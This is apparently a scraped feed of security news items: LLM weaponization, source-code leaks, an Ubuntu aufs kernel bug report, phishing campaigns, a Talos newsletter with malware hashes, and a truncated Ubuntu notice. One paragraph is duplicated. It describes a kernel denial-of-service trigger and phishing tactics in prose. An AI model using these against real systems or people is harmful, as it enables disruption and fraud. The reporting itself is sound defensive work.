Security teams need to find the best, most effective uses of large language models for defensive purposes.

AI is dominating headlines. ChatGPT, specifically, has become the topic du jour. Everyone is taken by the novelty, the distraction. But no one is addressing the elephant in the room: how large language models (LLMs) can and will be weaponized.

The Internet has become incredibly large and complex, exposing our most precious crown jewels. Whereas a decade ago a company had a single website, today it may have dozens — filled with unknown and untracked assets and subsidiaries — that an attacker can use to exfiltrate IP and/or breach into their network and systems. Recent research we conducted provided an eye-opening glimpse into this reality:

*   Companies' attack surfaces fluctuate 9% in size each month, making security gaps harder to detect. 

*   Organizations have, on average, 104 subsidiaries (i.e., entities owned by a parent company, which might be business units, brands, or standalone companies), and the core security team is unaware of 10 to 31 of them.

*   Invisible or hard-to-detect subsidiaries contain an average of 56% of the critical and high-priority vulnerabilities affecting customer assets.

In short, companies' attack surfaces have never been larger and more vulnerable. And security leaders are in constant fear that another issue like Log4j is going to cripple their business.

And as if we didn't have enough security threats to contend with, large language models like ChatGPT have entered the mainstream, shining a light on language AI as a potential weapon for cyberattacks. Should we be worried? The short answer is yes. But there is a bright side, which I'll address later.

**Large Language Models Can and Will Be Used Against You**

There are several stages of cyberattacks where LLMs can give bad actors a major advantage of scale, scope, reach, and speed. Here are a few:

*   **Automated reconnaissance.** Map and discover any assets (devices, files, etc.) and subsidiaries, brands, and services associated with your organization. Find sensitive information such as exposed credentials in AWS directories.

*   **Vulnerability discovery.** Find weaknesses in the targeted network.

*   **Exploitation.** To begin, initial exploitation is about using a technique like phishing to gain access to a network. Then, targeted exploitation might use watering-hole attacks to develop and exploit vulnerabilities within the network. 

*   **Data theft.** Copy or exfiltrate sensitive or valuable data from the network.

Also, consumer applications based on LLMs, most notably ChatGPT, can be used both intentionally and unintentionally by employees to leak company IP, simply by using the free public version. Companies like JP Morgan caught on to this early and were swift to ban corporate use of ChatGPT.

Spear-phishing campaigns provide another use case. High-quality phishing is based on deep understanding of the target; that is precisely what large language models can do quite well, because they process large volumes of data very quickly and customize messages effectively. Emails created by a large language model can impersonate a boss, co-worker, friend, or reputable organization with increasing precision and believability. Since 82% of data breaches involve a human element, including phishing and the use of stolen credentials, this will be an area to watch as hackers use LLMs to ramp up such attacks.

**Security Teams Can Turn the Tables on Attackers**

There is good news: Security teams can also use machine learning and LLMs to do reconnaissance on their own companies and remediate vulnerabilities before attackers get to them. They can use them to quickly and cost-effectively scan and map their own attack surfaces deeply to find exposed sensitive assets, personal identifiable information (PII), files, etc. By contrast, performing the same feat with manual methods could take months and/or cost hundreds of thousands of dollars.

Knowing the business context of any given asset is the only way security teams can effectively prioritize risk — and machine learning can help. For example, machine learning could recognize a database holding PII and play a role in revenue transactions. 

Machine learning can also determine the business purpose of an asset, distinguishing between a payment mechanism, a critical database, and a random device — and classify its risk profile. This context allows exponentially better risk prioritization and a higher level of threat intelligence. Without proper prioritization, security teams confront endless lists of vulnerabilities with labels like Urgent and Critical that are often, in fact, not correct. 

**Preparing for a New Era of Attacks**

There is every reason to expect attackers will make the most of large language models to automate reconnaissance and map your attack surfaces. It is time for security teams to embark on yet another learning curve: Find the best, most effective uses of large language models for defensive purposes. Right now, someone somewhere is looking for your organization's vulnerabilities, and it's just a matter of time before they use this newly popular type of tool to find them.

Bad Actors Will Use Large Language Models — but Defenders Can, Too

Less than a month ago, Twitter indirectly acknowledged that some of its source code had been leaked on the code-sharing platform GitHub by sending a copyright infringement notice to take down the incriminated repository. The latter is now inaccessible, but according to the media, it was accessible to the public for several months. A user going by the name FreeSpeechEnthousiast committed

Less than a month ago, Twitter indirectly acknowledged that some of its source code had been leaked on the code-sharing platform GitHub by sending a copyright infringement notice to take down the incriminated repository. The latter is now inaccessible, but according to the media, it was accessible to the public for several months. A user going by the name FreeSpeechEnthousiast committed thousands of documents belonging to the social media platform over several months.

While there is no concrete evidence to support this hypothesis, the timing of the leak and the ironic username used by the perpetrator suggest that the leak was a deliberate act aimed at causing harm to the company.

Although it is still too early to measure the impact of this leak on the health of Twitter, this incident should be an opportunity for all software vendors to ask a simple question: **what if this happened to us?**

Protecting sensitive information in the software industry is becoming increasingly critical as the frequency and impact of data breaches and leaks continue to rise. With the growing reliance on software, the amount of sensitive information stored in digital form is constantly expanding.

About a year ago, the Lapsus$ hacking gang made headlines for publicly leaking the source code of some of the biggest names in technology. The group's trophies included nearly 200GB of source code from Samsung, the source code for Nvidia's DLSS technology, and 250 internal projects from Microsoft. Several other software companies have also been targeted, with their codebases falling into the wrong hands: LastPass, Dropbox, Okta, and Slack have all disclosed that some of their code was compromised.

**A Treasure Trove of Sensitive Information**

Source code contains a wealth of sensitive information, and that includes, most of the time, hard-coded secrets such as passwords, API keys, and certificates private keys. This information is often stored in plain text within the source code, making it an attractive target for attackers.

There are many potential risks associated with leaked private source code, but exposed secrets are perhaps the most concerning: in the 2023 State of Secrets Sprawl, the single largest analysis of public GitHub activity, GitGuardian reported 10 million newly exposed secrets in 2022 alone, a staggering number that grew 67% year-over-year. The phenomenon is in great part explained by the fact that it is very easy when using version control like Git to mistakenly publish hard-coded secrets buried in the commit history. But malicious intentions can also be the cause of the disclosure of confidential information.

When a source code leak happens, these secrets can be exposed, providing attackers with access to systems and data. Secrets-in-code is a particularly significant problem. They allow an attacker to move fast to exploit a number of systems, making it more difficult for organizations to contain the damage. Unfortunately, internal source code is a very leaky asset. It is widely accessible by developers throughout the company, backed up onto different servers, and even stored on developers' local machines. That's one reason why making sure no secrets are exposed in the first place is so crucial.

In addition to the risk of malicious activity, mistakes made by developers can also put companies at risk. For example, accidental leaks of code can occur due to the way GitHub has architected its enterprise/organization offering. This makes it cumbersome for organizations to prevent accidental leaks and, conversely, too easy for developers to make mistakes.

Exposed logic flaws are also a concern. There may be vulnerabilities in the way software applications handle functions and data that could be present in the source code. When source code is exposed, attackers can analyze it for these vulnerabilities and exploit them to gain unauthorized access. The same goes for application architecture. Often, organizations expect the architecture of their applications to be hidden, a concept called security by obscurity. When source code is exposed, it can lead attackers to a map of how applications work, giving them the opportunity to find hidden assets.

**Time to Act: Protect Your Source Code**

The problem is not new, and many in the security industry have been sounding the alarm for some time. However, recent initiatives by the Biden administration to strengthen the cyber resilience of infrastructures and SMEs have increased the focus on software vendors' accountability. As cybersecurity becomes a national priority, there will be increased pressure to promote secure development practices and shape market forces to prioritize the protection of sensitive information.

So what can software vendors do to protect their source code and sensitive information? First and foremost, they must recognize the potential risks and take appropriate steps to mitigate them. This includes implementing security measures to protect against malicious activity and ensuring that hard-coded secrets are not stored in plain text within the source code.

However, more than a single approach is needed to protect sensitive information in the software industry. Using a combination of secrets management solutions, secure coding practices, and automated secrets detection can provide a comprehensive security strategy.

Secrets detection involves scanning source code and other digital assets for hard-coded secrets, alerting developers to potential vulnerabilities that attackers could exploit. With this proactive approach, organizations can better protect their sensitive information and identify potential security risks earlier in the software development lifecycle.

Combining a secrets detection solution in conjunction with secrets management and secure coding practices provides a layered security approach that can help to mitigate the risks associated with leaked source code and other potential vulnerabilities.

In addition to these technical measures, it is also important to ensure that employees are trained and educated on cybersecurity best practices. This includes regular training and awareness programs to ensure that employees are aware of the risks and know how to protect sensitive information.

**Continuous Security**

Overall, protecting source code and sensitive information is a critical issue for software vendors. As the frequency of malicious activity and accidental leaks continues to increase, it is essential that vendors take steps to mitigate the risks and protect their customers' data. By implementing secure coding practices, using secrets management solutions, and providing employee training and awareness programs, vendors can help drive a continuous improvement of software development practices in the long run.

It is important to note that protecting source code and sensitive information is not a one-time event. It is an ongoing process that requires constant attention and vigilance. Software vendors must continually monitor their systems for potential vulnerabilities and ensure that their security measures are up to date.

If you're interested in improving your organization's secrets management practices, we encourage you to take our secrets management questionnaire (anonymous) to assess your specific situation. It only takes five minutes to gain a quick overview of your organization's strengths and weaknesses and get started on the path to better security.

Ensure your sensitive information is protected, and your customers' trust is maintained.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Are Source Code Leaks the New Threat Software vendors Should Care About?

It was discovered that aufs improperly managed inode reference counts in the vfsub_dentry_open() method. A local attacker could use this vulnerability to cause a denial of service attack.

\[Impact\]

 \* Systems with aufs mounts are vulnerable to a kernel BUG(),  
   which can turn into a panic/crash if panic\_on\_oops is set.

 \* It is exploitable by unprivileged local users; and also  
   remote access operations (e.g., web server) potentially.

 \* This issue has also manifested in Kubernetes deployments  
   with a kernel panic in iptables-save or iptables-restore  
   after a few weeks of uptime, without user interaction.

 \* Usually all Kubernetes worker nodes hit the issue around  
   the same time.

\[Fix\]

 \* The issue is fixed with 2 patches in aufs4-linux.git:  
 - 515a586eeef3 aufs: do not call i\_readcount\_inc()  
 - f10aea57d39d aufs: bugfix, IMA i\_readcount

 \* The first addresses the issue, and the second addresses a  
   regression in the aufs feature to change RW branches to RO.

 \* The kernel v5.3 aufs patches had an equivalent fix to the  
   second patch, which is present in the Focal aufs patchset  
   (and on ubuntu-unstable/master & /master-5.8 on 20200629)

 - 1d26f910c53f aufs: for v5.3-rc1, maintain i\_readcount  
   (in aufs5-linux.git)

\[Test Case\]

 \* Repeatedly open/close the same file in read-only mode in  
   aufs (UINT\_MAX times, to overflow a signed int back to 0.)

 \* Alternatively, monitor the underlying filesystems's file  
   inode.i\_readcount over several open/close system calls.  
   (should not monotonically increase; rather, return to 0.)

\[Regression Potential\]

 \* This changes the core path that aufs opens files, so there  
   is a risk of regression; however, the fix changes aufs for  
   how other filesystems work, so this generally is OK to do.  
   In any case, most regressions would manifest in open() or  
   close() (where the VFS handles/checks inode.i\_readcount.)

 \* The aufs maintainer has access to an internal test-suite  
   used to validate aufs changes, used to identify the first  
   regression (in the branch RW/RO mode change), and then to  
   validate/publish the patches upstream; should be good now.

 \* This has also been tested with 'stress-ng --class filesystem'  
   and with 'xfstests -overlay' (patch to use aufs vs overlayfs)  
   on Xenial/Bionic/Focal (-proposed vs. -proposed + patches).  
   No regressions observed in stress-ng/xfstests log or dmesg.

\[Other Info\]

 \* Applied on Unstable (branches master and master-5.8)  
 \* Not required on Groovy (still 5.4; should sync from Unstable)  
 \* Required on LTS releases: Bionic and Focal and Xenial.  
 \* Required on other releases: Disco and Eoan (for custom kernels)

\[Original Bug Description\]

Problem Report:  
\--------------

An user reported several nodes in their Kubernetes clusters  
hit a kernel panic at about the same time, and periodically  
(usually 35 days of uptime, and in same order nodes booted.)

The kernel panics message/stack trace are consistent across  
nodes, in \_\_fput() by iptables-save/restore from kube-proxy.

Example:

"""  
\[3016161.866702\] kernel BUG at .../include/linux/fs.h:2583!  
\[3016161.866704\] invalid opcode: 0000 \[#1\] SMP  
...  
\[3016161.866780\] CPU: 40 PID: 33068 Comm: iptables-restor Tainted: P OE 4.4.0-133-generic #159-Ubuntu  
...  
\[3016161.866786\] RIP: 0010:\[...\] \[...\] \_\_fput+0x223/0x230  
...  
\[3016161.866818\] Call Trace:  
\[3016161.866823\] \[...\] \_\_\_\_fput+0xe/0x10  
\[3016161.866827\] \[...\] task\_work\_run+0x86/0xb0  
\[3016161.866831\] \[...\] exit\_to\_usermode\_loop+0xc2/0xd0  
\[3016161.866833\] \[...\] syscall\_return\_slowpath+0x4e/0x60  
\[3016161.866839\] \[...\] int\_ret\_from\_sys\_call+0x25/0x9f  
"""

(uptime: 3016161 seconds / (24\*60\*60) = 34.90 days)

They have provided a crashdump (privately available) used  
for analysis later in this bug report.

Note: the root cause turns out to be independent of K8s,  
as explained in the Root Cause section.

Related Report:  
\--------------

This behavior matches this public bug of another user:  
https://github.com/kubernetes/kubernetes/issues/70229

"""  
I have several machines happen kernel panic，and these  
machine have same dump trace like below:

KERNEL: /usr/lib/debug/boot/vmlinux-4.4.0-104-generic  
...  
PANIC: "kernel BUG at .../include/linux/fs.h:2582!"  
...  
COMMAND: "iptables-restor"  
...  
crash> bt  
...  
\[exception RIP: \_\_fput+541\]  
...  
#8 \[ffff880199f33e60\] \_\_fput at ffffffff812125ac  
#9 \[ffff880199f33ea8\] \_\_\_\_fput at ffffffff812126ee  
#10 \[ffff880199f33eb8\] task\_work\_run at ffffffff8109f101  
#11 \[ffff880199f33ef8\] exit\_to\_usermode\_loop at ffffffff81003242  
#12 \[ffff880199f33f30\] syscall\_return\_slowpath at ffffffff81003c6e  
#13 \[ffff880199f33f50\] int\_ret\_from\_sys\_call at ffffffff818449d0  
...

The above showed command "iptables-restor" cause the kernel  
panic and its pid is 16884，its parent process is kube-proxy.

Sometimes the process of kernel panic is "iptables-save" and  
the dump trace are same.

The kernel panic always happens every 26 days(machine uptime)  
"""

<< Adding further sections as comments to keep page short. >>

CVE-2020-11935: Bug #1873074 “kernel panic hit by kube-proxy iptables-save/resto...” : Bugs : linux package : Ubuntu

By developing new tools to defend against adversarial AI, companies can help ensure that artificial intelligence is developed and used in a responsible and safe manner.

On Wednesday, KPMG Studios, the consulting giant's incubator, launched Cranium, a startup to secure artificial intelligence (AI) applications and models. Cranium's "end-to-end AI security and trust platform" straddles two areas — MLOps (machine learning operations) and cybersecurity — and provides visibility into AI security and supply chain risks.

"Fundamentally, data scientists don't understand the cybersecurity risks of AI, and cyber professionals don't understand data science the way they understand other topics in technology," says Jonathan Dambrot, former KPMG partner and founder and CEO of Cranium. He says there is a wide gulf of understanding between data scientists and cybersecurity professionals, similar to the gap that often exists between development teams and cybersecurity staff.

With Cranium, key AI life-cycle stakeholders will have a common operating picture across teams to improve visibility and collaboration, the company says. The platform captures both in-development and deployed AI pipelines, including associated assets involved throughout the AI life cycle. Cranium quantifies the organization's AI security risk and establishes continuous monitoring. Customers will be able to establish an AI security framework, providing data science and security teams with a foundation for building a proactive and holistic AI security program.

To keep data and systems secure, Cranium maps the AI pipelines, validates their security, and monitors for adversarial threats. The technology integrates with existing environments to allow organizations to test, train, and deploy their AI models without changing workflow, the company says. In addition, security teams can use Cranium's playbook alongside the software to protect their AI systems and adhere to existing US and EU regulatory standards.

With Cranium's launch, KPMG is tapping into growing concerns about adversarial AI — the practice of modifying AI systems that have been intentionally manipulated or attacked to produce incorrect or harmful results. For example, an autonomous vehicle that has been manipulated could cause a serious accident, or a facial recognition system that has been attacked could misidentify individuals and lead to false arrests. These attacks can come from a variety of sources, including malicious actors, and could be used to spread disinformation, conduct cyberattacks, or commit other types of crimes.

Cranium is not the only company looking at protecting AI applications from adversarial AI attacks. Competitors such as HiddenLayer and Picus are already working on tools to detect and prevent AI attacks.

**Opportunities for Innovation**

The entrepreneurial opportunities in this area are significant, as the risks of adversarial AI are likely to increase in the coming years. There is also incentive for the major players in the AI space — OpenAI, Google, Microsoft, and possibly IBM — to focus on securing the AI models and platforms that they are producing.

Businesses can focus their AI efforts on detection and prevention, adversarial training, explainability and transparency, or post-attack recovery. Software companies can develop tools and techniques to identify and block adversarial inputs, such as images or text that have been intentionally modified to mislead an AI system. Companies can also develop techniques to detect when an AI system is behaving abnormally or in an unexpected manner, which could be a sign of an attack.

Another approach to protecting against adversarial AI is to "train" AI systems to be resistant to attacks. By exposing an AI system to adversarial examples during the training process, developers can help the system learn to recognize and defend against similar attacks in the future. Software companies can develop new algorithms and techniques for adversarial training, as well as tools to evaluate the effectiveness of these techniques.

With AI, it can be difficult to understand how a system is making its decisions. This lack of transparency can make it difficult to detect and defend against adversarial attacks. Software companies can develop tools and techniques to make AI systems more explainable and transparent so that developers and users can better understand how the system is making its decisions and identify potential vulnerabilities.

Even with the best prevention techniques in place, it's possible that an AI system could still be breached. In these cases, it's important to have tools and techniques to recover from the attack and restore the system to a safe and functional state. Software companies can develop tools to help identify and remove any malicious code or inputs, as well as techniques to restore the system to a "clean" state.

However, protecting AI models can be challenging. It can be difficult to test and validate the effectiveness of AI security solutions, since attackers can constantly adapt and evolve their techniques. There is also the risk of unintended consequences, where AI security solutions could themselves introduce new vulnerabilities.

Overall, the risks of adversarial AI are significant, but so are the entrepreneurial opportunities for software companies to innovate in this area. In addition to improving the safety and reliability of AI systems, protecting against adversarial AI can help build trust and confidence in AI among users and stakeholders. This, in turn, can help drive adoption and innovation in the field.

Fight AI With AI

In next-gen, credential-harvesting attacks, phishing emails use cloud services and are free from the typical bad grammar or typos they've traditionally used (and which users have learned to spot).

Cybercriminals continue to target victims with cleverly crafted phishing attacks, this time from QuickBooks online accounts, aimed at harvesting credentials. The gambits use a level of legitimacy and social engineering indicative of a new wave in business email compromise (BEC) efforts, researchers said.

The attacks show how cybercriminals are continuing to evolve phishing tactics as security and detection for these types of offensives improves, switching to maneuvers that are even more evasive. That's according to researchers from Avanan, a Check Point company, who said in a blog post on April 6 that this evolution of attacks can be considered "BEC 3.0." 

Threat actors are now signing up for free accounts for legitimate services and then targeting victims from within those services, using email addresses from domains that won't be flagged by typical scanning tools, the researchers said.

"The most unique \[aspect of the attack\] is the evolution from hackers here," Jeremy Fuchs, Avanan cybersecurity researcher/analyst and author of the blog post, tells Dark Reading. "Hackers are incredibly adept at adjusting. So much money and technology has been thrown at \[what\] we consider BEC 2.0, and many solutions have gotten really good at stopping it. So, hackers have to adjust — and they have here."

Avanan already has found evidence of similar attacks coming from within PayPal and Google, as well as previous attacks that already came from legitimate QuickBooks accounts. Worsening matters is the fact that attackers couple this tactic with carefully written and socially engineered emails that are free from the typical bad grammar or typos that phishing emails traditionally have used and which users have learned to spot, Fuchs said.

"All the typical phishing hygiene tricks are thrown out the window," he wrote in the post. "You can't see a discrepancy in the sender's address. The links are legitimate. The spelling and grammar are on point."

**Common Lure Without the Typos**

One reason why phishing remains one of the primary initial access vectors: the growing use by attackers of legitimate software-as-a-service (SaaS) and cloud offerings such as LinkedIn, Google Cloud, AWS, and numerous others to host malicious content or to direct users to it.

In the case of the latest QuickBooks attack, the messages inform victims that their subscriptions for a Norton antivirus product — Norton LifeLock — are about to be renewed and request action from the victim to call a phone number to verify or cancel an automatic renewal payment.

This latter detail may be the only thing that appears questionable to even the savviest of email user, however, as Fuchs says, "plenty of people use Norton LifeLock — and that goes for both consumers and businesses."

If a victim falls for the bait, the campaign packs a one-two punch, as attackers can harvest not only potential payment credentials, but also a victim's phone number for future attacks from chat apps like WhatsApp, he wrote in the post.

Overall, the attack demonstrates that hackers are adjusting tactics by creating messages that appear not only convincing to end users but are also difficult for security protections to pick up because they come from legitimate sources, Fuchs says. QuickBooks, for example, is a perfectly safe website, and, as it's income-tax season in the US and other countries, an email from the service likely won't surprise users, Fuchs says.

"What hackers have done is taken that safety and used it to their advantage," he says. "By placing unsafe links or messages inside a safe receptacle, it can easily evade detection, because the security service is seeing that the receptacle is safe and passing it forward."

Indeed, all the standard checks — domain, SPF, DMARC, etc. — would allow this type of email to pass, and many security services will see the Intuit domain and just send it through without further checks, according to Fuchs.

"There isn't a newly created domain to look at," Fuchs wrote in the post. "Natural language processing won't do much good. This is what makes these attacks so incredibly tricky to top."

**Mitigation Tactics**

With attackers stepping up their phishing game in novel ways, enterprises and other organizations also have to keep pace in terms of security protection and arming employees with tools to identify BEC 3.0 messages, the researchers said.

Advanced employee education about the new types of phishing attacks can go a long way to mitigating them, according to Fuchs.

"This requires a new wave of education for users," he wrote in the post. "Hovering over links isn't as helpful — now users have to be wary of all links. This requires a whole new approach."

One key thing that organizations can ask employees to do is to Google phone numbers included in suspicious messages that require them to make a phone call to take action, he says. In the case of the attack investigated by Avanan, a Google search of the phone number included in the message flagged it as being used in scams, the researchers found.

Organizations can also implement policies for the type of actions that BEC emails request that require independent verification from a second employee and can help to decrease the probability of a successful attack, Fuchs says.

Other steps enterprises can take to avoid compromise by advanced phishing attacks include implementing data-protection policies that can highlight when a credit card or other payment method is used, alerting security teams and finance teams that something is amiss, he says.

Fuchs adds: "Utilizing browser security that follows a link through all its intended actions is helpful too."

'BEC 3.0' Is Here With Tax-Season QuickBooks Cyberattacks

Be prepared to discuss difficult topics with potential new third-party software vendors, such as incident notification requirements, access to logs during a security incident and who the important emergency contacts are.

Thursday, April 6, 2023 14:04

Welcome to this week’s edition of the Threat Source newsletter.

It seems like we can’t go a full calendar year without a major supply chain attack. In late 2020 we had the SolarWinds incident (which, doesn’t that somehow seem like five years ago but also yesterday?), then the REvil ransomware group infiltrating the Kaseya VSA software in the summer of 2021 and last week we had another attack targeting the 3CX Desktop Softphone application.

For now, the adversaries behind the 3CX supply chain attack seem mainly focused on infiltrating cryptocurrency-related companies and exchanges to steal money. But we’ve still yet to see the full scale of this attack — the 3CX website claims to have over 600,000 customers and 12 million daily users. In the company’s latest update on the security incident, 3CX said the “incident was carried out by a highly experienced and knowledgeable hacker.”

So even though we’ve been talking about the importance of defending against supply chain attacks for three years now, I felt like this was a good place to round up all the information Talos has available on preparing for and preventing supply chain attacks. Here are a few tips with some handy links:

*   If your organization is specifically affected by the 3CX supply chain attack, Cisco Secure and Talos have a range of detection available across the Cisco portfolio. 3CX also has instructions for uninstalling the affected desktop application on its website.
*   Be prepared to discuss difficult topics with potential new third-party software vendors, such as incident notification requirements, access to logs during a security incident and who the important emergency contacts are. Talos Incident Response has a full list of these questions in this blog.
*   Take an inventory of the SaaS applications your organization uses and document their business use case and relevant access authorizations. Nick Biasini and I talk about the importance of asset management in this episode of Talos Takes right after the SolarWinds incident.
*   Implement a zero-trust approach to security so that your organization verifies every access attempt. This also means only assigning the appropriate rights to each user on a network that they need to do their job.
*   Create an incident response plan and/or playbook so your organization is ready to respond in the event of a supply chain attack. Cisco Talos Incident Response can help with that.

**The one big thing**

The developer of the Typhon Reborn information stealer recently released an updated version (V2) that includes significant updates to its codebase and improved capabilities. Most notably, the new version features additional anti-analysis and anti-virtual machine (VM) capabilities to evade detection and make analysis more difficult.

**Why do I care?**

Once on an infected machine, the stealer can harvest and exfiltrate sensitive information and uses the Telegram API to send stolen data to attackers. This can include highly sensitive data, such as login information to cryptocurrency wallets and exchanges, VPN clients and email and messaging clients. The latest version of the stealer is available on dark web forums for a relatively low price in comparison to other information stealers, so Talos researchers suspect this malware will pop up in cyber attacks going forward.

**So now what?**

The Talos blog has a full rundown of the Cisco Secure detection capabilities in place to prevent the execution of this malware and alert users if it’s on their network.

**Top security headlines of the week**

While the proposed “RESTRICT Act” in U.S. Congress is widely known as the “TikTok ban,” it would **actually do much more than restrict the popular social media app in the U.S.** Critics of the bill say, if passed, it would give the Executive Branch greater control over the online marketplace and potentially restrict the sale of other software that could be viewed as potentially dangerous like VPNs that consumers use to encrypt and route their traffic. The White House is in favor of the bill, saying that it would protect American national security by restricting data collection from foreign governments. However, the language of the bill only says it would restrict software from countries identified as a “foreign adversary,” which currently includes China, Cuba, Iran, North Korea, Russia and Venezuela. (Vice, The Electronic Frontier Foundation)

International law enforcement agencies **seized several domain names tied to Genesis Market,** a popular cybercrime store, on Wednesday, while also arresting some of its alleged administrators. Genesis Market was known to sell access to stolen passwords and other data. Customers who purchased this information could load the victim’s authentication cookies into their web browser to access their online accounts without needing a password and sometimes bypass multi-factor authentication. Arrest warrants were reportedly out for several individuals involved in the marketplace in the U.S., Canada and Europe. During a series of raids this week, the UK's National Crime Agency (NCA) arrested 24 people who are suspected users of the site. (BBC News, Krebs on Security)

**Online alcohol recovery startups Monument and Tempest were mistakenly sharing users’ health information** and data with third-party advertisers for years without their consent, according to a data breach notification filed with California’s attorney general. Monument, which acquired Tempest last year, assists customers in dealing with and recovering from alcohol abuse, including offering online counseling, an anonymous forum and the ability to prescribe medication. The company said in the filing that they were mistakenly sharing information through third-party ad tracking systems such as those from Google and Meta. The data shared with advertisers included patients’ photos, the answers to online questionnaires about their health and alcohol use, personally identifiable information (PII) and their insurance providers. (TechCrunch, The Verge)

**Can’t get enough Talos?**

*   Talos Takes Ep. #133: The defensive and offensive implications of ChatGPT and AI
*   Vulnerability Spotlight: Buffer overflow vulnerability in ADMesh library
*   Threat Roundup for March 24 - 31
*   Vulnerability Spotlight: Vulnerability in ManageEngine OpManager could lead to XXE attack
*   Typhon Reborn Stealer Malware Resurfaces with Advanced Evasion Techniques

**Upcoming events where you can find Talos**

**RSA** **(April 24 - 27)**

San Francisco, CA

**Cisco Live U.S.** **(June 4 - 8)**

Las Vegas, NV

**Most prevalent malware files from Talos telemetry over the past week**

  
**SHA 256:** e248b01e3ccde76b4d8e8077d4fcb4d0b70e5200bf4e738b45a0bd28fbc2cae6  
**MD5:** 1e2a99ae43d6365148d412b5dfee0e1c  
**Typical Filename:** PDFpower.exe  
**Claimed Product:** PdfPower  
**Detection Name:** Win32.Adware.Generic.SSO.TALOS

**SHA 256:** 00ab15b194cc1fc8e48e849ca9717c0700ef7ce2265511276f7015d7037d8725  
**MD5:** d47fa115154927113b05bd3c8a308201  
**Typical Filename:** mssqlsrv.exe  
**Claimed Product:** N/A  
**Detection Name:** Trojan.GenericKD.65065311

**SHA 256:** e4973db44081591e9bff5117946defbef6041397e56164f485cf8ec57b1d8934  
**MD5:** 93fefc3e88ffb78abb36365fa5cf857c  
**Typical Filename:** Wextract  
**Claimed Product:** Internet Explorer  
**Detection Name:** PUA.Win.Trojan.Generic::85.lp.ret.sbx.tg

**SHA 256:** de3908adc431d1e66656199063acbb83f2b2bfc4d21f02076fe381bb97afc423  
**MD5:** 954a5fc664c23a7a97e09850accdfe8e  
**Typical Filename:** teams15.exe  
**Claimed Product:** teams15  
**Detection Name:** Gen:Variant.MSILHeracles.59885

**SHA 256:** c74e7421f2021b46ee256e5f02d94c1bce15da107c8c997c611055412de1ac1  
**MD5:** 2d16d0af6183803a79d9ef5c744286c4  
**Typical Filename:** nano\_download.php  
**Claimed Product:** Web Companion Installer  
**Detection Name:** W32.1C74E7421F-100.SBX.VIOC

Threat Source newsletter (April 6, 2023) — Another friendly reminder about supply chain attacks

New threats from generative AI demand a generative AI security response.

Generative artificial intelligence technologies such as ChatGPT have brought sweeping changes to the security landscape almost overnight. Generative AI chatbots can produce clear, well-punctuated prose, images, and other media in response to short prompts from users. ChatGPT has quickly become the symbol of this new wave of AI, and the powerful force unleashed by this technology has not been lost on cybercriminals.

A new kind of arms race is underway to develop technologies that leverage generative AI to create thousands of malicious text and voice messages, Web links, attachments, and video files. The hackers are seeking to exploit vulnerable targets by expanding their range of social engineering tricks. Tools such as ChatGPT, Google's Bard, and Microsoft's AI-powered Bing all rely on large language models to exponentially increase access to learning and thus generate new forms of content based on that contextualized knowledge.

In this way, generative AI enables threat actors to rapidly accelerate the speed and variation of their attacks by modifying code in malware, or by creating thousands of versions of the same social engineering pitch to increase their probability of success. As machine learning technologies advance, so will the number of ways that this technology can be used for criminal purposes.

Threat researchers warn that the generative AI genie is out of the bottle now, and it is already automating thousands of uniquely tailored phishing messages and variations of those messages to increase the success rate for threat actors. The cloned emails reflect similar emotions and urgency as the originals, but with slightly altered wording that makes it hard to detect they were sent from automated bots.

**Fighting Back With a "Humanlike" Approach to AI**

Today, humans make up the top targets for business email compromise (BEC) attacks that use multichannel payloads to play off human emotions such as fear ("Click here to avoid an IRS tax audit...") or greed ("Send your credentials to claim a credit card rebate..."). The bad actors have already retooled their strategies to attack individuals directly while seeking to exploit business software weaknesses and configuration vulnerabilities.

The rapid rise in cybercrime based on generative AI makes it increasingly unrealistic to hire enough security researchers to defend against this problem. AI technology and automation can detect and respond to cyber threats much more quickly and accurately than people can, which in turn frees up security teams to focus on tasks that AI cannot currently address. Generative AI can be used to anticipate the vast numbers of potential AI-generated threats by applying AI data augmentation and cloning techniques to assess each core threat and spawn thousands of other variations of that same core threat, enabling the system to train itself on countless possible variations.

All these elements must be contextualized in real time to protect users from clicking on malicious links or opening bad attachments. The language processor builds a contextual framework that can spawn a thousand similar versions of the same message but with slightly different wording and phrases. This approach enables users to stop current threats while anticipating what future threats may look like and blocking them too.

**Protecting Against Social Engineering in the Real World**

Let's examine how a social engineering attack might play out in the real world. Take the simple example of an employee who receives a notice about an overdue invoice from AWS, with an urgent request for an immediate payment by wire transfer.

The employee cannot discern if this message came from a real person or a chatbot. Until now, legacy technologies have applied signatures to recognize original email attacks, but now the attackers can use generative AI to slightly alter the language and spawn new undetected attacks. The remedy requires a natural language processing and relationship graph technology that can analyze the data and correlate the fact that the two separate messages express the same meaning.

In addition to natural language processing, the use of relationship graph technology conducts a baseline review of all emails sent to the employee to identify any prior messages or invoices from AWS. If it can find no such emails, the system is alerted to protect the employee from incoming BEC attacks. Distracted employees may be fooled into quickly replying before they think through the consequences of giving up their personal credentials or making financial payments to a potential scammer.

Clearly, this new wave of generative AI has tilted the advantage in favor of the attackers. As a result, the best defense in this emerging battle will be to turn the same AI weapons against the attackers in anticipation of their next moves and use AI to protect susceptible employees from any future attacks.

**About the Author**

    

Patrick Harr is the CEO of SlashNext, an integrated cloud messaging security company using patented HumanAI™ to stop BEC, smishing, account takeovers, scams, malware, and exploits in email, mobile, and Web messaging before they become a breach.

It Takes AI Security to Fight AI Cyberattacks

Ubuntu Security Notice 6001-1 - Xuewei Feng, Chuanpu Fu, Qi Li, Kun Sun, and Ke Xu discovered that the TCP implementation in the Linux kernel did not properly handle IPID assignment. A remote attacker could use this to cause a denial of service or inject forged data. Ke Sun, Alyssa Milburn, Henrique Kawakami, Emma Benoit, Igor Chervatyuk, Lisa Aichele, and Thais Moreira Hamasaki discovered that the Spectre Variant 2 mitigations for AMD processors on Linux were insufficient in some situations. A local attacker could possibly use this to expose sensitive information.

==========================================================================  
Ubuntu Security Notice USN-6001-1  
April 06, 2023

linux-aws vulnerabilities  
==========================================================================

A security issue affects these releases of Ubuntu and its derivatives:

- Ubuntu 16.04 ESM

Summary:

Several security issues were fixed in the Linux kernel.

Software Description:  
- linux-aws: Linux kernel for Amazon Web Services (AWS) systems

Details:

Xuewei Feng, Chuanpu Fu, Qi Li, Kun Sun, and Ke Xu discovered that the TCP  
implementation in the Linux kernel did not properly handle IPID assignment.  
A remote attacker could use this to cause a denial of service (connection  
termination) or inject forged data. (CVE-2020-36516)

Ke Sun, Alyssa Milburn, Henrique Kawakami, Emma Benoit, Igor Chervatyuk,  
